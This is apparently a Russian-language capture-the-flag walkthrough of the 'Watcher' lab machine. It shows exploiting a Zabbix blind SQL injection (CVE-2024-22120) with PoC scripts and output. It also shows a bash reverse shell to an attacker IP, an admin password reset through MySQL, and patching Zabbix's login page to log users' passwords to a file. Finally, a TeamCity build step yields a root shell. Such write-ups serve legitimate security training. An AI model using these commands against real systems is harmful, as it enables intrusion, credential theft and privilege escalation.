Задание "Watcher" начинается с сервера Zabbix. Воспользуемся уязвимостью CVE-2024-22120 (слепая SQL инъекция), чтобы украсть сессию администратора и получить удалённое выполнение команд (RCE). Затем зайдем как администратор и найдем пользователя, который входит каждый минуту, обновим исходный код PHP файла аутентификации таким образом, чтобы все учетные данные сохранялись в файл. Полученные учетные данные подойдут для локального TeamCity, куда мы сможем зайти как администратор и злоупотребить конвейером сборки для исполнения команд от имени суперпользователя (root).
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Разведка: первичное сканирование
Nmap обнаружил четыре открытых порта TCP: SSH (22), HTTP (80) и два порта, относящиеся к Zabbix (10050, 10051):

Исходя из версий OpenSSH и Apache, хост, вероятно, работает под управлением Ubuntu 22.04.
На веб-сервере есть переадресация на watcher.vl.
Значение TTL равное 63, соответствует нашему предположению про Linux.
Брутфорс субдоменов
Воспользуемся инструментом ffuf для перебора субдоменов watcher.vl:
oxdf@hacky$ ffuf -u http://10.129.214.16 -H "Host: FUZZ.watcher.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.214.16
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.watcher.vl
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
zabbix [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
Один найден! Добавим его в /etc/hosts:
10.129.214.16 watcher.vl zabbix.watcher.vl
Сайт
Сайт связан с мониторингом доступности сервисов:


Отправка формы осуществляется через GET-запрос к корневому каталогу (/) с параметрами в строке URL, после чего страница перезагружается без каких-либо признаков обработки запроса.
Технологический стек
Заголовки HTTP-ответа не содержат ничего интересного:

Главная страница — index.html, что предполагает статичный сайт.
Страница с ошибкой 404 — стандартная страница Apache 404:

Воспользуемся feroxbuster, добавив параметр -x html, поскольку сайт использует статичные страницы:

Ничего полезного.
zabbix.watcher.vl - TCP 80
Страница авторизации Zabbix:

Так как у меня нет учетных данных, я воспользуюсь опцией «войти как гость»:

Zabbix — открытое программное обеспечение для мониторинга систем. После успешной авторизации нам доступна версия программы:

HTTP-заголовки содержат стандартную для Zabbix куку — zbx_session:

Страница с ошибкой 404 — всё ещё стандартная страница Apache 404:

Я пропущу этап перебора директорий, так как речь идет о хорошо известном ПО.
Shell от имени пользователя zabbix (CVE-2024-42327)
В используемой версии Zabbix есть уязвимость CVE-2024-42327, а также CVE-2024-22116:

CVE-2024-22116 — удаленное выполнение команд (RCE), однако только с правами администратора.
CVE-2024-42327 — SQL инъекция, позволяющая похищать API токен администратора, что ведет к выполнению произвольных команд (RCE). Однако эта атака сработает только тогда, когда пользователь получает API токен, чего не происходит при гостевом доступе.
Дополнительное исследование показало наличие CVE-2024-22120 — еще одна SQL инъекция в журнале аудита:
Сервер Zabbix способен запускать сконфигурированные скрипты. После выполнения команды запись добавляется в журнал аудита ("Audit Log"). Из-за отсутствия очистки поля "clientip" возможна SQL инъекция и эксплуатация time based blind SQL инъекции.
Эта уязвимость имеет потенциал для эксплуатации. Заявка на баг-трекере Zabbix утверждает, что данная проблема позволяет получить RCE, там же есть шаги по эксплуатации.
Proof-of-concept
Первым делом убедимся, что мы имеем доступ хотя бы к одному узлу. В разделе Monitoring –> Hosts видим одну запись:

Необходимо иметь возможность выполнять команды.

«Ping» работает (и показывает, что это тот же хост, на котором запущен Zabbix):

Необходимо извлечь значение «sessionid» из куки zbx_session. Оно закодировано в Base64:
oxdf@hacky$ echo eyJzZXNzaW9uaWQiOiI1MmU5NjcyZDM3NTM2YTM3MDBmNDcwY2Q4NmUxNmM1NiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk1NzQ1MzksInNpZ24iOiIwOTJjZDc2ODJiNDIyNWM2MTEwZTIyZDRlYjE0NWFkZDgyNTc4Mzk3MTM4MDE3ZWE5ZWU2NjRkZjg3Y2I4OTllIn0= | base64 -d
{"sessionid":"52e9672d37536a3700f470cd86e16c56","serverCheckResult":true,"serverCheckTime":1759574539,"sign":"092cd7682b4225c6110e22d4eb145add82578397138017ea9ee664df87cb899e"}
Теперь, мне нужен валидный hostid, который я могу получить, посмотрев запросы в Burp, пока нахожусь на странице Monitoring –> Hosts (поскольку сайт постоянно отправляет запросы на обновление):

Я воспользуюсь uv для добавления необходимых метаданных (см. шпаргалку по uv https://0xdf.gitlab.io/cheatsheets/uv#):
oxdf@hacky$ uv add --script zabbix_server_time_based_blind_sqli.py pwntools
Updated zabbix_server_time_based_blind_sqli.py
Скрипт продемонстрирует идентификатор сессии администратора, состоящий из одних нулей, но если я буду наблюдать за этим в Wireshark, то увижу следующее:

Используется scriptid равный 3, однако этот пользователь не имеет прав на выполнение данного скрипта. Если посмотреть на запрос, отправляемый при клике на хост для отображения этого меню, мы увидим следующее:

Доступны только идентификаторы 1 и 2. Если обновить PoC, используя любой из них, то он сработает:
oxdf@hacky$ uv run --script zabbix_server_time_based_blind_sqli.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 | grep "(+)"
(+) Extracting Zabbix config session key...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=2[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=3[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=4[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=5[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=6[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=7[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=8[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=a[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9
...[snip]...
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9857bc76e26cf108766043dbf43544b
(+) config session_key=b9857bc76e26cf108766043dbf43544b
(+) Extracting admin session_id...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=c[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=d[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b9857bc76e26cf108766043dbf43544b, admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d. Now you can generate admin zbx_cookie and sign it with session_key
Очень медленно, но ключ успешно восстанавливается.
Выполнение произвольного кода (RCE)
Существует ещё один PoC, который выполняет аналогичный брутфорс, а затем преобразует его в RCE:
oxdf@hacky$ uv run --script CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
Installed 29 packages in 187ms
(!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
Я внес необходимые изменения, чтобы не пришлось проводить брутфорс заново:
parser.add_argument("--admin-sid", help="Admin session id already recovered")
args = parser.parse_args()
if args.admin_sid:
admin_sessionid = args.admin_sid
else:
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)
Результат:
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --hostid 10084 --admin-sid e29cc8d946f1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
Shell
Чтобы получить настоящий шелл, я передам команду обратного подключения через bash:
[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'
Результат:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 58272
bash: cannot set terminal process group (7180): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@watcher:/$
Прокачаем шелл, используя стандартный приём:
zabbix@watcher:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@watcher:/$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
zabbix@watcher:/$
И извлекаем файл user.txt из корня системы:
zabbix@watcher:/$ cat user.txt
380b4ab4************************
Шелл от имени root. Enumeration
Есть один пользователь (ubuntu), чей домашний каталог находится в /home:
zabbix@watcher:/home$ ls
ubuntu
zabbix@watcher:/home$ ls ubuntu/
ls: cannot open directory 'ubuntu/': Permission denied
zabbix@watcher:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
Web Servers
Конфигурационный файл Apache демонстрирует наличие трёх серверов:
zabbix@watcher:/etc/apache2/sites-enabled$ ls
000-default.conf watcher.vl.conf zabbix.watcher.vl.conf
Они обрабатывают редирект на домен watcher.vl и обеспечивают доступ к сайту Zabbix. Основной веб-сайт расположен в каталоге /var/www/html и представляет собой простую HTML-страницу:
zabbix@watcher:/var/www/html$ ls
index.html
Zabbix DB
В директории /usr/share/zabbix/conf есть конфигурационные файлы Zabbix:

Видим информацию для подключении к базе данных, проверяем:
zabbix@watcher:/usr/share/zabbix/conf$ mysql -h localhost -u zabbix -puIy@YyshSuyW%0_puSqA
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3339
Server version: 8.0.43-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| zabbix |
+--------------------+
3 rows in set (0.02 sec
В базе данных Zabbix имеется большое количество таблиц. Получим список пользователей:

Хэши можно прогнать через Hashcat, но они не поддаются подбору с использованием rockyou.txt.
TeamCity
Команда netstat показывает интересный открытый порт:

Порты 10050 и 10051 используются Zabbix. Однако порты 9090, 8111 и 8015 открыты только локально и выгзывают интерес. Проверив их, узнаем, что порт 8111 занят сервисом TeamCity:

Также на хосте запущены процессы TeamCity.
Для удобства поднимим SSH туннель. Создаем директорию .ssh в домашнем каталоге пользователя Zabbix и добавляем публичный ключ:
zabbix@watcher:/var/lib/zabbix$ mkdir .ssh
zabbix@watcher:/var/lib/zabbix$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > .ssh/authorized_keys
zabbix@watcher:/var/lib/zabbix$ chmod 700 .ssh/
zabbix@watcher:/var/lib/zabbix$ chmod 600 .ssh/authorized_keys
Теперь я могу подключиться по SSH, но оболочка пользователя Zabbix в файле passwd установлена как /nologin:
$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1039-aws x86_64)
...[snip]...
This account is currently not available.
Connection to watcher.vl closed.
Но создать туннель я могу:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl -N -L 8111:localhost:8111
Процесс зависает, но при переходе по адресу http://localhost:8111 загружается интерфейс TeamCity:

Версия TeamCity — 2024.03.3. Без учетных данных тут нельзя ничего сделать.
Вход в Zabbix как администратор (CVE-2024-22120)
Возвращаемся обратно в графический интерфейс Zabbix с правами администратора. Эксплоит содержит скрипт для получения куки администратора:
oxdf@hacky$ uv add --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py requests pwntools
Updated CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py -h
Installed 29 packages in 158ms
usage: CVE-2024-22120-LoginAsAdmin.py [-h] [--false_time FALSE_TIME] [--true_time TRUE_TIME] [--ip IP] [--port PORT] [--sid SID] [--hostid HOSTID]
CVE-2024-22120-LoginAsAdmin
options:
-h, --help show this help message and exit
--false_time FALSE_TIME
Time to sleep in case of wrong guess(make it smaller than true time, default=1)
--true_time TRUE_TIME
Time to sleep in case of right guess(make it bigger than false time, default=10)
--ip IP Zabbix server IP
--port PORT Zabbix server port(default=10051)
--sid SID Session ID of low privileged user
--hostid HOSTID hostid of any host accessible to user with defined sid
В коде захардкожен прокси-сервер на порту 8083. Необходимо закомментировать данную строку, иначе произойдет сбой:

Эта действительно работает (но медленно):
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
(+) session_id=e
(+) session_id=e2
(+) session_id=e29
...[snip]...
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b
...[snip]...
(+) session_key=b9857bc76e26cf108766043dbf43544b
try replace cookie with:
zbx_session=eyJzZXNzaW9uaWQiOiJlMjljYzhkOTQ2ZjFhMzEzNWZlN2NlZWM2MGQwZmYwZCIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk2NjA4MzEsInNpZ24iOiI0YTg3NzA4MmI2MDUwNGY1MjU1MDU3N2QxZjRlZTllMDM0ZDM1MWVlZDRlZDZmNjRkZjE2MGI2MTkzZWRiOTQxIn0=
Эта кука позволяет войти в систему как администратор.
Документация Zabbix описывает способ сброса пароля администратора до значения «zabbix» с помощью SQL-запроса:
UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
Выполним:
mysql> UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
Затем войдем:

Audit Logs
Просматривая журнал аудита, обратим внимание, что пользователь Frank регулярно входит в систему (каждую минуту):

Отравление процесса аутентификации Zabbix
Изучив историю запросов в Burp Proxy, обнаружим, что процесс входа осуществляется методом POST на адрес /index.php. Файл index.php находится в папке /usr/share/zabbix. Код обработки входа находится примерно на 70 строке:
zabbix@watcher:/usr/share/zabbix$ cat index.php | grep -n login
37: 'autologin' => [T_ZBX_INT, O_OPT, null, null, null],
57:$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
70:// login via form
71:if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
74: if (CWebUser::$data['autologin'] != $autologin) {
77: 'autologin' => $autologin
91:echo (new CView('general.login', [
92: 'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
95: 'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
98: 'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
99: 'autologin' => $autologin == 1,
Самым простым способом модификации файла через обратный шелл является копирование всего текста и создание файла на машине атакующего. Добавим несколько строк:

Пользователи смогут входить как раньше, но их учетные данные будут записаны в файл /dev/shm/0xdf.txt. Теперь запускаем HTTP-сервер на Python и грузим измененный файл:
zabbix@watcher:/usr/share/zabbix$ cp index.php{,.bak}
zabbix@watcher:/usr/share/zabbix$ curl 10.10.15.1/index.php -o index.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4692 100 4692 0 0 91465 0 --:--:-- --:--:-- --:--:-- 92000
Вскоре в /dev/shm появляется файл 0xdf.txt:
zabbix@watcher:/usr/share/zabbix$ cat /dev/shm/0xdf.txt
Frank:R%)3S7^Hf4TBobb(gVVs
TeamCity
Учётные данные пользователя frank, полученные из Zabbix, здесь тоже работают!

TeamCity — это платформа непрерывной интеграции и доставки (CI/CD), и похоже, что у frank есть административные права доступа. Я могу создать сборку, которая исполнит нужный мне код. Жмем «Создать проект...». На следующей странице выбераем вариант «Вручную»:

Даем проекту название:

Следующая страница — общие настройки проекта, где выбираем пункт «Создать конфигурацию сборки»:

Назовем её и жмем «Создать»:


Выбираем пропустить, а на следующей странице перейдем в боковое меню к пункту «Этапы сборки» («Build Steps»):

Здесь есть кнопка для добавления этапа сборки («Add build step»):

На следующем экране выбираю пункт «Командная строка» («Command Line»):

Команда для получения обратного шелла:

На открывшейся странице видим созданный этап сборки:

Справа вверху есть кнопка «Выполнить» («Run»). Нажимаем ее и ждем выполнения команды:

Через минуту получем шелл с правами root:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 37982
bash: cannot set terminal process group (632): Inappropriate ioctl for device
bash: no job control in this shell
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#
И наконец, забираем root-флаг:
root@watcher:/root# cat root.txt
f7af28f2************************
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер